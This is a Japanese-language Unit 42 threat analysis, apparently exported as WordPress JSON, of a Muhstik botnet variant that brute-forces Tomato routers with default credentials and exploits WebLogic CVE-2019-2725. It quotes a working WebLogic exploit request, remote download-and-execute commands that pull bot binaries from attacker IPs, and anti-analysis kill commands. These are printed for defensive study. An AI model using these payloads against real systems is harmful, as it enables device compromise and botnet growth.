{"id":103315,"date":"2020-01-21T18:12:33","date_gmt":"2020-01-22T02:12:33","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=103315"},"modified":"2020-01-21T22:07:51","modified_gmt":"2020-01-22T06:07:51","slug":"muhstik-botnet-attacks-tomato-routers-to-harvest-new-iot-devices","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/muhstik-botnet-attacks-tomato-routers-to-harvest-new-iot-devices\/","title":{"rendered":"Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u304cTomato\u30eb\u30fc\u30bf\u3092\u653b\u6483 \u65b0\u3057\u3044IoT\u30c7\u30d0\u30a4\u30b9\u3092\u300c\u53ce\u7a6b\u300d"},"content":{"rendered":"

<\/a>\u6982\u8981<\/h2>\n

2019\u5e7412\u67085\u65e5\u3001Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f\u3001Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u65b0\u3057\u3044\u4e9c\u7a2e\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u540c\u4e9c\u7a2e\u306fweb\u8a8d\u8a3c\u306e\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u3092\u4f7f\u3046\u521d\u306eTomato\u30eb\u30fc\u30bf\u653b\u6483\u7528\u30b9\u30ad\u30e3\u30ca\u3092\u8ffd\u52a0\u3059\u308b\u3082\u306e\u3067\u3057\u305f\u3002<\/p>\n

Tomato<\/a>\u306f\u30eb\u30fc\u30bf\u7528\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u4ee3\u66ff\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3067\u3059\u3002Linux\u30d9\u30fc\u30b9\u306e\u30d7\u30ed\u30d7\u30e9\u30a4\u30a8\u30bf\u30ea\u3067\u306f\u306a\u3044\u5b89\u5b9a\u3057\u305f\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3067\u3001VPN\u30d1\u30b9\u30b9\u30eb\u30fc\u6a5f\u80fd\u3084\u9ad8\u5ea6\u306a\u30b5\u30fc\u30d3\u30b9\u54c1\u8cea\u5236\u5fa1\uff08QoS\uff09\u3092\u6301\u3064\u3053\u3068\u304b\u3089\u3001\u8907\u6570\u306e\u30eb\u30fc\u30bf\u30d9\u30f3\u30c0\u304c\u3053\u306e\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3092\u63a1\u7528\u3057\u3066\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u3066\u304a\u308a\u3001\u30a8\u30f3\u30c9\u30e6\u30fc\u30b6\u30fc\u3082\u624b\u52d5\u3067\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002Shodan\u3067\u306e\u8abf\u67fb\u306b\u3088\u308b\u3068\u30014,600\u53f0\u4ee5\u4e0a\u306eTomato\u30eb\u30fc\u30bf\u304c\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u3002<\/p>\n

Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f2018\u5e743\u6708\u304b\u3089\u7a3c\u50cd\u3057\u3066\u3044\u308b\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3067\u3001Linux\u30b5\u30fc\u30d0\u30fc\u3084IoT\u30c7\u30d0\u30a4\u30b9\u306b\u611f\u67d3\u3059\u308b\u30ef\u30fc\u30e0\u306b\u4f3c\u305f\u81ea\u5df1\u5897\u6b96\u6a5f\u80fd\u3092\u5099\u3048\u3066\u3044\u307e\u3059\u3002Muhstik\u306f\u3001\u8907\u6570\u306e\u8106\u5f31\u6027\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u4f7f\u7528\u3057\u3001Weblogic<\/a>\u3001WordPress\u3001Drupal\u3068\u3044\u3063\u305fLinux\u30b5\u30fc\u30d3\u30b9\u306b\u611f\u67d3\u3057\u307e\u3059\u3002\u3053\u306e\u307b\u304bGPON\u30db\u30fc\u30e0\u30eb\u30fc\u30bf\u30fc\u3084DD-WRT\u30eb\u30fc\u30bf<\/a>\u306e\u3088\u3046\u306aIoT\u30eb\u30fc\u30bf\u3082\u4fb5\u5bb3\u3057\u307e\u3059\u3002\u4eca\u56de\u898b\u3064\u304b\u3063\u305f\u4e9c\u7a2e\u306f\u3001Tomato\u30eb\u30fc\u30bf\u306b\u611f\u67d3\u3059\u308b\u3053\u3068\u3067\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3092\u62e1\u5927\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n

\u8106\u5f31\u306a\u30eb\u30fc\u30bf\u306e\u300c\u53ce\u7a6b\u300d\u5f8c\u306eTomato\u30eb\u30fc\u30bf\u306b\u306f\u3001\u3053\u308c\u4ee5\u5916\u306e\u60aa\u610f\u306e\u3042\u308b\u6d3b\u52d5\u306f\u898b\u3064\u304b\u308a\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u305f\u3060\u3057\u79c1\u305f\u3061\u306e\u7406\u89e3\u3067\u306f\u3001Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f\u4e3b\u306bIoT\u30dc\u30c3\u30c8\u3067\u6697\u53f7\u901a\u8ca8(\u4eee\u60f3\u901a\u8ca8)\u306e\u30de\u30a4\u30cb\u30f3\u30b0\u3084DDoS\u653b\u6483\u306e\u958b\u59cb\u306b\u3088\u3063\u3066\u5229\u76ca\u3092\u4e0a\u3052\u3066\u3044\u308b\u3082\u306e\u3067\u3059\u3002Unit 42 \u306f\u30b3\u30de\u30f3\u30c9&\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb\uff08C2\uff09\u7528IRC\u30c1\u30e3\u30cd\u30eb\u3092\u76e3\u8996\u3057\u7d9a\u3051\u308b\u4e88\u5b9a\u3067\u3059\u3002<\/p>\n

\u672c\u7a3f\u3067\u306f\u3053\u308c\u4ee5\u964d\u3001Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u8a73\u7d30\u306a\u5206\u6790\u3092\u884c\u3044\u307e\u3059\u3002<\/p>\n

<\/a>Tomato\u30eb\u30fc\u30bf\u7528\u306e\u65b0\u3057\u3044\u30b9\u30ad\u30e3\u30ca<\/h3>\n

\u65b0\u3057\u3044Muhstik\u306e\u4e9c\u7a2e\u306f\u30018080\/tcp\u4e0a\u306eTomato\u30eb\u30fc\u30bf\u3092\u30b9\u30ad\u30e3\u30f3\u3057\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u8cc7\u683c\u60c5\u5831\u306e\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u653b\u6483\u306b\u3088\u308a\u7ba1\u7406web\u8a8d\u8a3c\u3092\u30d0\u30a4\u30d1\u30b9\u3057\u307e\u3059\u3002Tomato\u30eb\u30fc\u30bf\u306e\u5834\u5408\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u306e\u8cc7\u683c\u60c5\u5831\u306f\u300cadmin: admin\u300d\u3001\u300croot: admin\u300d\u3067\u3059\u3002\u56f31\u306fTomato\u30eb\u30fc\u30bf\u3078\u306eweb\u8a8d\u8a3c\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b7\u30f3\u30b9\u653b\u6483\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3092\u30ad\u30e3\u30d7\u30c1\u30e3\u3057\u305f\u3082\u306e\u3067\u3059\u3002<\/p>\n

<\/a><\/p>\n

\u56f31 Tomato\u30eb\u30fc\u30bf\u306eweb\u8a8d\u8a3c\u30d6\u30eb\u30fc\u30c8\u30d5\u30a9\u30fc\u30b9\u653b\u6483<\/em><\/span><\/p>\n

\u611f\u67d3\u53f0\u6570\u3092\u63a8\u5b9a\u3059\u308b\u305f\u3081\u306bShodan\u3067Tomato\u30eb\u30fc\u30bf\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c8\u3092\u691c\u7d22\u3057\u305f\u3068\u3053\u308d\u3001\u56f32\u306b\u793a\u3057\u305f\u3088\u3046\u306b\u3001\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306b\u306f\u5408\u8a08\u7d044,600\u53f0\u306e\u6f5c\u5728\u7684\u88ab\u5bb3\u7aef\u672b\u304c\u3042\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u306a\u304a\u3053\u306e\u5408\u8a08\u6570\u306f\u3001TomatoUSB\u30c7\u30d0\u30a4\u30b9\u306e\u6570\u3082\u542b\u3081\u3066\u7b97\u51fa\u3057\u3066\u3044\u307e\u3059\u3002TomatoUSB\u30c7\u30d0\u30a4\u30b9\u3068\u3044\u3046\u306e\u306f\u3001Tomato\u30eb\u30fc\u30bf\u3068USB\u30c9\u30e9\u30a4\u30d6\u3092\u7d44\u307f\u5408\u308f\u305b\u3066NAS\u30b5\u30fc\u30d0\u30fc\u3068\u3057\u3066\u4f7f\u7528\u3059\u308b\u305f\u3081\u306e\u30c7\u30d0\u30a4\u30b9\u306e\u3053\u3068\u3067\u3059\u3002<\/p>\n

<\/a><\/p>\n

<\/a><\/p>\n

\u56f32 \u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306b\u516c\u958b\u3055\u308c\u3066\u3044\u308bTomato\u30eb\u30fc\u30bf\u3068TomatoUSB\u30eb\u30fc\u30bf<\/em><\/span><\/p>\n

<\/a>\u305d\u306e\u4ed6\u306e\u30b9\u30ad\u30e3\u30ca<\/h3>\n

<\/a>\u30b9\u30ad\u30e3\u30f3 1: WordPress<\/strong><\/h4>\n

\u6700\u521d\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u3001\u30b5\u30fc\u30d0\u30fc\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u3066\u3044\u308bWordPress\u3092\u8b58\u5225\u3059\u308b\u30b9\u30ad\u30e3\u30ca\u3067\u3059\u3002\u30b9\u30ad\u30e3\u30f3\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u3001\u540c\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u901a\u5e38HTTP\u30dd\u30fc\u30c8\u3067\u3042\u308b\u30dd\u30fc\u30c880\/tcp\u306a\u3044\u30578080\/tcp\u3078\u306eGET\u30ea\u30af\u30a8\u30b9\u30c8\u9001\u4fe1\u3057\u307e\u3059\u3002<\/p>\n

<\/a><\/p>\n

\u56f33 daymon\u304c\u4f7f\u7528\u3059\u308bWordPress\u30b9\u30ad\u30e3\u30ca<\/em><\/span><\/p>\n

<\/a>\u30b9\u30ad\u30e3\u30f3 2: Webuzo<\/strong><\/h4>\n

2\u756a\u76ee\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u3001\u30b5\u30fc\u30d0\u30fc\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u3066\u3044\u308bWebuzo\u30bd\u30ea\u30e5\u30fc\u30b7\u30e7\u30f3\u3092\u8b58\u5225\u3059\u308b\u30b9\u30ad\u30e3\u30ca\u3067\u3059\u3002\u30b9\u30ad\u30e3\u30f3\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u3001\u540c\u30e2\u30b8\u30e5\u30fc\u30eb\u306f GET \u30ea\u30af\u30a8\u30b9\u30c8\u3092\u30dd\u30fc\u30c82004\/tcp\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002port 2004\/tcp\u306fWebuzo\u306e\u7ba1\u7406\u753b\u9762\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30dd\u30fc\u30c8\u3067\u3059\u3002\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u306f\/install.php\u3068\u3044\u3046\u30d1\u30b9\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u3053\u306e\u30d1\u30b9\u306f\u3001Webuzo\u306e\u30a4\u30f3\u30b9\u30c8\u30fc\u30e9\u30fc\u30d5\u30a1\u30a4\u30eb\u3067\u3001\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u306f\u3001Webuzo\u3092\u5b9f\u884c\u3057\u3066\u3044\u308b\u30b5\u30fc\u30d0\u30fc\u306f\u3001\u3053\u306e\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u6b63\u5e38\u5fdc\u7b54\u3057\u307e\u3059\u3002<\/p>\n

GET \/install.php HTTP\/1.1\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\/537.36\r\n(KHTML, like Gecko) Chrome\/51.0.2704.103 Safari\/537.36\r\nHost: 132.223.202.213\r\n<\/pre>\n
<\/a>\u30b9\u30ad\u30e3\u30f3 3: CVE-2019-2725 - WebLogic \u30d0\u30fc\u30b8\u30e7\u30f3 10.3.6.0 \u304a\u3088\u3073 12.1.3.0<\/em><\/h3>\n
3\u756a\u76ee\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f\u3001\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308bOracle WebLogic Server\u4e0a\u306e\u30c7\u30b7\u30ea\u30a2\u30e9\u30a4\u30bc\u30fc\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306f\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u4e8b\u524d\u8a8d\u8a3c\u306a\u3057\u3067\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306fWebLogic Server\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u30dd\u30fc\u30c8\u3067\u3042\u308b\u30dd\u30fc\u30c87001\/tcp\u306b\u9001\u4fe1\u3055\u308c\u307e\u3059\u3002<\/p>\n
POST \/_async\/AsyncResponseService HTTP\/1.1\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\/537.36 \r\n(KHTML, like Gecko) Chrome\/51.0.2704.103 Safari\/537.36\r\nHost: 194.187.209.4\r\nContent-Type: text\/xml\r\ncontent-length: 916\r\n\r\n<soapenv:Envelope \r\nxmlns:soapenv='http:\/\/schemas.xmlsoap.org\/soap\/envelope\/' \r\nxmlns:wsa='http:\/\/www.w3.org\/2005\/08\/addressing' \r\nxmlns:asy='http:\/\/www.bea.com\/async\/AsyncResponseService'><soapenv:Head\r\ner> \r\n<wsa:Action>xx<\/wsa:Action><wsa:RelatesTo>xx<\/wsa:RelatesTo><work:WorkC\r\nontext xmlns:work='http:\/\/bea.com\/2004\/06\/soap\/workarea\/'><java \r\nversion='1.4.0' class='java.beans.XMLDecoder'> <void \r\nclass='java.lang.ProcessBuilder'> <array class='java.lang.String' \r\nlength='3'> <void index='0'> <string>\/bin\/bash<\/string> <\/void> <void \r\nindex='1'> <string>-c<\/string> <\/void> <void index='2'> <string>wget \r\nhttp:\/\/165.227.78.159\/wl.php<\/string> <\/void> <\/array> <void \r\nmethod='start'\/><\/void> <\/java> \r\n<\/work:WorkContext\r\n><\/soapenv:Header><soapenv:Body><asy:onAsyncDelivery\/><\/soapenv:Body><\/soapenv:Envelope><\/pre>\n
URL hxxp:\/\/165.227.78[.]159\/wl.php\u306f\u3001\u30ec\u30dd\u30fc\u30c8\u76ee\u7684\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u3082\u306e\u3068\u8003\u3048\u3089\u308c\u307e\u3059\u3002\u3068\u3044\u3046\u306e\u3082\u3001IP\u30a2\u30c9\u30ec\u30b9165.227.78[.]159\u306f\u4ee5\u524d\u3001Mushtik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306b\u3088\u3063\u3066\u30ec\u30dd\u30fc\u30c8\u30b5\u30fc\u30d0\u30fc<\/a>\u3068\u3057\u3066\u30dc\u30c3\u30c8\u306e\u60c5\u5831\u3092\u53ce\u96c6\u3059\u308b\u305f\u3081\u306b\u5229\u7528\u3055\u308c\u3066\u3044\u305f\u3053\u3068\u304c\u3042\u308b\u304b\u3089\u3067\u3059\u3002\u3053\u306e\u4ef6\u306b\u3064\u3044\u3066\u306f\u3001\u5225\u306eMuhstik\u4e9c\u7a2e\u5206\u6790\u30ec\u30dd\u30fc\u30c8<\/a>\u3067\u8aac\u660e\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n
<\/a>Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u30a4\u30f3\u30d5\u30e9<\/h3>\n
\u4ee5\u4e0b\u306e\u56f33\u306f\u66f4\u65b0\u3055\u308c\u305fMuhstik\u4e9c\u7a2e\u306b\u3088\u308b\u5b9f\u884c\u30d5\u30ed\u30fc\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u307e\u305f\u56f34\u306f\u3001WordPress\u3001Webuzo\u3092\u5b9f\u884c\u3059\u308bLinux\u30b5\u30fc\u30d0\u30fc\u30b9\u30ad\u30e3\u30f3\u7528\u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u7d44\u307f\u5408\u308f\u305b\u305fMuhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u4e9c\u7a2e\u3092\u793a\u3057\u305f\u3082\u306e\u3067\u3059\u3002\u540c\u4e9c\u7a2e\u306f\u3053\u308c\u306b\u52a0\u3048\u3066Tomato\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3092\u5b9f\u884c\u3059\u308bWebLogic\u30b5\u30fc\u30d0\u30fc\u3068Wi-Fi\u30eb\u30fc\u30bf\u306e\u4fb5\u5bb3\u7528\u30e2\u30b8\u30e5\u30fc\u30eb\u3082\u5b9f\u88c5\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n
<\/p>\n
\u56f34 Muhstik\u306e\u30a4\u30f3\u30d5\u30e9<\/em><\/span><\/p>\n
<\/p>\n
\u56f35 \u30b9\u30ad\u30e3\u30f3\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u6642\u306e\u632f\u308b\u821e\u3044\u306b\u95a2\u3059\u308b\u8a73\u7d30<\/em><\/span><\/p>\n
<\/a>Muhstik\u4e9c\u7a2e\u306e\u30da\u30a4\u30ed\u30fc\u30c9<\/h3>\n
\u79c1\u305f\u3061\u306f\u3001tty0\u3068\u3044\u3046\u60aa\u610f\u306e\u3042\u308b\u30d0\u30a4\u30ca\u30ea\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002tty0\u306fTomato\u30eb\u30fc\u30bf\u3092\u5bfe\u8c61\u3068\u3057\u3066\u3044\u308b\u305f\u3081\u3001Tomato\u30eb\u30fc\u30bf\u306e\u30b7\u30b9\u30c6\u30e0\uff08\u304a\u3088\u3073DD-WRT\u306a\u3069\u306e\u4ed6\u306e\u30b7\u30b9\u30c6\u30e0\uff09\u3067\u5b9f\u884c\u53ef\u80fd\u306abash\u30b3\u30de\u30f3\u30c9\u3092\u542b\u3093\u3067\u3044\u307e\u3059\u3002<\/p>\n
\u6700\u521d\u306e\u30b3\u30de\u30f3\u30c9\u306f nvr \u3068\u547c\u3070\u308c\u308b\u30d0\u30a4\u30ca\u30ea\u3092http:\/\/y.fd6fq54s6df541q23sdxfg[.]eu\/nvr\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u306e\u306b\u5229\u7528\u3055\u308c\u307e\u3059\u3002<\/p>\n
\/bin\/sh -c nvram set rc_firewall=\"sleep 120 && wget -qO - \r\nhttp:\/\/y.fd6fq54s6df541q23sdxfg.eu\/nvr | sh\" > \/dev\/null 2>&1\r\n\r\n\/bin\/sh -c nvram commit &gt; \/dev\/null 2&gt;&amp;1<\/pre>\n
tty0\u306f\u30b7\u30b9\u30c6\u30e0\u3067\u5b9f\u884c\u4e2d\u306estrace\u3084tcpdump\u30d7\u30ed\u30bb\u30b9\u3092\u5f37\u5236\u7d42\u4e86\u3059\u308b\u3053\u3068\u3067\u3001\u5206\u6790\u3055\u308c\u308b\u306e\u3092\u9632\u6b62\u3059\u308b\u624b\u6cd5\u3082\u53d6\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n
\/usr\/bin\/killall -9 strace\r\n\/bin\/sh -c killall -9 tcpdump > \/dev\/null 2>&1 &\r\n\/bin\/sh -c killall -9 strace > \/dev\/null 2>&1 &\r\n\/usr\/bin\/killall -9 tcpdump<\/pre>\n
nvr \u30d0\u30a4\u30ca\u30ea\u306b\u306f\u3055\u3089\u306b4\u3064\u306e\u30d0\u30a4\u30ca\u30ea\u3092\u8ffd\u52a0\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u30b3\u30de\u30f3\u30c9\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u30894\u3064\u306e\u30d0\u30a4\u30ca\u30ea\u306fIRC\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u4e9c\u7a2e\u3067\u3001ARM\u304a\u3088\u3073MIPS\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u3067\u52d5\u4f5c\u3057\u307e\u3059\u3002\u79c1\u305f\u3061\u306f\u3053\u306e\u4e2d\u304b\u3089Pty5\u3068\u3044\u3046\u30d0\u30a4\u30ca\u30ea\u3092\u4e2d\u5fc3\u306b\u5206\u6790\u3092\u884c\u3044\u307e\u3057\u305f\u3002\u305d\u306e\u7406\u7531\u306f\u3001\u3053\u306e\u30d0\u30a4\u30ca\u30ea\u304cdaymon\u3068\u547c\u3070\u308c\u308b\u30d0\u30a4\u30ca\u30ea\u3092\u30c9\u30ed\u30c3\u30d7\u3057\u3001\u305d\u306edaymon\u304cTomato\u30eb\u30fc\u30bf\u3092\u5bfe\u8c61\u3068\u3059\u308b\u65b0\u3057\u3044\u30e2\u30b8\u30e5\u30fc\u30eb\u3092\u542b\u3080\u30b9\u30ad\u30e3\u30ca\u3060\u304b\u3089\u3067\u3059\u3002<\/p>\n
daymon \u306fMirai\u306b\u4f7f\u308f\u308c\u3066\u3044\u308b\u6697\u53f7\u5316\u624b\u6cd5\u3092\u3068\u3063\u3066\u304a\u308a\u3001 \u305d\u306e\u30c6\u30fc\u30d6\u30eb\u30ad\u30fc\u306f 0xEFBEADDE\u3067\u3059\u3002<\/p>\n
wget -O \/tmp\/pty1 http:\/\/159.89.156.190\/.y\/pty1; chmod +x \r\n\/tmp\/pty1; chmod 700 \/tmp\/pty1; \/tmp\/pty1 &\r\n\r\nwget -O \/tmp\/pty3 http:\/\/159.89.156.190\/.y\/pty3; chmod +x \r\n\/tmp\/pty3; chmod 700 \/tmp\/pty3; \/tmp\/pty3 &\r\n\r\nwget -O \/tmp\/pty6 http:\/\/159.89.156.190\/.y\/pty6; chmod +x \r\n\/tmp\/pty6; chmod 700 \/tmp\/pty6; \/tmp\/pty6 &\r\n\r\nwget -O \/tmp\/pty5 http:\/\/159.89.156.190\/.y\/pty5; chmod +x \r\n\/tmp\/pty5; chmod 700 \/tmp\/pty5; \/tmp\/pty5 &<\/pre>\n
<\/a>IRC\u306b\u3088\u308bC2<\/h3>\n
\u4fb5\u5bb3\u3055\u308c\u305f\u30c7\u30d0\u30a4\u30b9\u306f\u3001IRC\u30b5\u30fc\u30d0\u30fc\u306b\u63a5\u7d9a\u30b3\u30de\u30f3\u30c9\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002connect\u30b3\u30de\u30f3\u30c9\u306b\u306f\u3001\u30c7\u30d0\u30a4\u30b9\u3092\u30c1\u30e3\u30f3\u30cd\u30eb\u306b\u53c2\u52a0\u3055\u305b\u308b\u305f\u3081\u306e\u30cb\u30c3\u30af\u30cd\u30fc\u30e0\uff08NICK\uff09\u304c\u3064\u3051\u3089\u308c\u307e\u3059\u3002\u3053\u306e\u30cb\u30c3\u30af\u30cd\u30fc\u30e0\u306b\u306f\u3001\u6b21\u306e\u56f36\u304c\u793a\u3059\u3088\u3046\u306b\u3001\u4ee5\u524d\u306b\u53d6\u5f97\u3057\u305f\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u306e\u30ce\u30fc\u30c9\u30db\u30b9\u30c8\u540d\u304c\u542b\u307e\u308c\u307e\u3059\u3002<\/a><\/p>\n
\u56f36 \u30db\u30b9\u30c8\u540d\u306e\u53ce\u96c6<\/em><\/span><\/p>\n
\u307e\u305f\u56f37\u3067\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u540d\u304cconnect\u30b3\u30de\u30f3\u30c9\u306b\u8ffd\u52a0\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
USER muhstik localhost localhost :muhstik-11052018<\/pre>\n
\u30b5\u30fc\u30d0\u30fc\u5074\u306f PING\u30b3\u30de\u30f3\u30c9\u306b BotnetID\u3092\u3064\u3051\u3066\u5fdc\u7b54\u3057\u307e\u3059\u3002\u4fb5\u5bb3\u3055\u308c\u305f\u30c7\u30d0\u30a4\u30b9\u306f PONG \u306b BotnetID\u3092\u3064\u3051\u3066\u5fdc\u7b54\u3057\u307e\u3059\u3002\u30cb\u30c3\u30af\u30cd\u30fc\u30e0\u304c\u4f5c\u6210\u3055\u308c\u3001\u305d\u308c\u304c\u611f\u67d3\u3057\u305f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306b\u5272\u308a\u5f53\u3066\u3089\u308c\u308b\u3068\u3001IRC\u30b5\u30fc\u30d0\u30fc\u306f\u30dc\u30c3\u30c8\u3092\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u3068\u3057\u3066\u30e1\u30a4\u30f3\u30c1\u30e3\u30cd\u30eb\u306b\u53d7\u3051\u5165\u308c\u307e\u3059\u3002\u6b21\u306b\u3001\u30b5\u30fc\u30d0\u30fc\u306f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306bMOTD\uff08Message of the Day: \u4eca\u65e5\u306e\u30e1\u30c3\u30bb\u30fc\u30b8\uff09\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u7d9a\u3044\u3066\u4fb5\u5bb3\u3055\u308c\u305f\u30c7\u30d0\u30a4\u30b9\u306fea\u3068\u547c\u3070\u308c\u308b\u30c1\u30e3\u30cd\u30eb\u306b\u53c2\u52a0\u3059\u308b\u305f\u3081\u306e\u30b3\u30de\u30f3\u30c9\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u305d\u3057\u3066\u3053\u306eea\u30c1\u30e3\u30cd\u30eb\u304c\u3001\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u53c2\u52a0\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306b\u30b3\u30de\u30f3\u30c9\u3092\u9001\u4fe1\u3057\u3066\u304d\u307e\u3059\u3002\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306f\u30c7\u30d0\u30a4\u30b9\u3092\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306b\u767b\u9332\u3059\u308b\u305f\u3081\u306b\u30d1\u30d6\u30ea\u30c3\u30afIP\u30a2\u30c9\u30ec\u30b9\u306a\u3069\u611f\u67d3\u30c7\u30d0\u30a4\u30b9\u306e\u60c5\u5831\u3092\u53ce\u96c6\u3057\u307e\u3059\u3002<\/p>\n
<\/p>\n
\u56f37 IRC\u30c1\u30e3\u30f3\u30cd\u30eb\u306b\u53c2\u52a0\u3059\u308b<\/em><\/span><\/p>\n
<\/a>\u7d50\u8ad6<\/h2>\n
\u3053\u306e\u65b0\u3057\u3044Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u4e9c\u7a2e\u306e\u5b58\u5728\u306f\u3001IoT\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3068\u3044\u3046\u3082\u306e\u304c\u3001\u65b0\u3057\u3044\u30b9\u30ad\u30e3\u30ca\u3084\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u8ffd\u52a0\u3057\u3001\u65b0\u305f\u306aIoT\u30c7\u30d0\u30a4\u30b9\u3092\u53ce\u96c6\u3059\u308b\u3053\u3068\u306b\u3088\u308a\u3001\u305d\u306e\u898f\u6a21\u3092\u62e1\u5927\u3057\u3064\u3065\u3051\u3066\u3044\u308b\u5b9f\u614b\u3092\u793a\u3059\u3082\u306e\u3067\u3059\u3002\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u306e\u958b\u767a\u8005\u306b\u3088\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3057\u305fIoT\u30c7\u30d0\u30a4\u30b9\u3078\u306e\u4fb5\u5bb3\u306f\u5897\u52a0\u3057\u3066\u3044\u307e\u3059\u3002\u305d\u306e\u7406\u7531\u306f\u3001\u30c7\u30d0\u30a4\u30b9\u4fdd\u8b77\u306e\u305f\u3081\u306b\u5fc5\u8981\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3084\u30e1\u30f3\u30c6\u30ca\u30f3\u30b9\u30d1\u30c3\u30c1\u304c\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30d5\u30a1\u30fc\u30e0\u30a6\u30a